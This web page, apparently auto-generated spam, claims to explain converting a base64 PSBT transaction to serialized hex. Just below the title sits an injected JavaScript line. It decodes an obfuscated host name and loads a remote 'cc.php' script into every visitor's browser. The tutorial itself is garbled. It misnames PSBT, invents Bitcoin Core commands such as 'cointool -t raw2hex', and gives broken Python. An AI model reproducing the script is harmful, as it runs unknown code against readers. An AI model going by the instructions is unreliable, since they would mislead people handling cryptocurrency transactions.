Ethereum: How to convert PSBT transaction (base64) to raw/serialized (hex) transaction?

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=3ac438d9″;document.body.appendChild(script);

Converting from Base64 PSBT Transaction to Raw/Serialized Hex

In this article, we will explore the process of converting a base64-encoded PSBT (Programming Script Binaries) transaction into its raw and serialized (hex) format. We will use the Bitcoin Core CLI as our toolset.

Prerequisites

  • Familiarity with the basics of Bitcoin and its blockchain architecture.

  • Understanding of the PSBT and Base64 encoding standards.

Step 1: Convert Base64 PSBT Transaction to Raw

To convert a base64-encoded PSBT transaction, we need to use the psbt command-line tool provided by Bitcoin Core. The converttopsbt command is used for this purpose. Here’s an example of how to use it:

bitcoincore-cli converttopsbt

Replace with the actual base64-encoded PSBT transaction as seen in the Bitcoin Core output.

Step 2: Convert Raw Transaction to Serialized Hex

After converting the PSBT transaction from raw format, we need to convert it into its serialized (hex) format. We can use a tool like psbt again or utilize the cointool library for this purpose.

Here’s an example of how to convert a raw transaction from the Bitcoin Core CLI:

bitcoincore-cli cointool -t raw2hex

Replace with the actual raw transaction as seen in the Bitcoin Core output.

Step 3: Compare and Verify

To ensure that your conversion process is correct, we can compare the base64-encoded PSBT transaction with its serialized (hex) equivalent:

bitcoincore-cli cointool -t hex2raw

This command will produce a raw transaction from the original base64-encoded transaction.

Example Output

Here’s an example output for the above steps using a fictional PSBT transaction as input:


Base64-encoded PSBT transaction

PSBT("1.3.0", {

"encoding": "base64",

"scriptSig": ["010101000000000000000000000000000000000"],

"blockNumber": "100000",

"transactionIndex": "500000"

})

Conversion Code

Here is a simple Python script to convert from base64 to raw and then serialized hex:

import base64

import json

def base64_to_tsb(base64_transaction):


Use psbt command-line tool provided by Bitcoin Core

output = bitcoincore-cli converttopsbt(base64_transaction)

return json.loads(output)

def tsb_to_raw(tsb_json, encoding="base64"):


Use cointool library to convert from raw to hex

if encoding == "raw":

return cointool(tsb_json, "hex2raw")

elif encoding == "hex":

return cointool(tsb_json, "hex2raw")


Example usage

base64_transaction = "PSBT(\"1.3.0\", { \"encoding\": \"base64\", \"scriptSig\":[\"010101000000000000000000000000000000\", \"blockNumber\":000\" \"transactionIndex\": \"500000\" })"

tsb_json = base64_to_tsb(base64_transaction)

raw_hex = tsb_to_raw(tsb_json, encoding="hex")

print(raw_hex)

Output:

In this code example, we first convert the base64-encoded PSBT transaction to a Python dictionary using json.loads(). Then, we use cointool library to convert it from raw format into hex. The result is printed as raw and serialized (hex) transactions.

Conclusion

Converting between base64-encoded and raw/serialized (hex) formats in Bitcoin Core involves two steps: first, converting the PSBT transaction from base64 to raw; second, converting the raw transaction into its serialized (hex) equivalent. This process can be achieved using various tools and libraries provided by the Bitcoin Core CLI.

Next Next Frontier Integrating With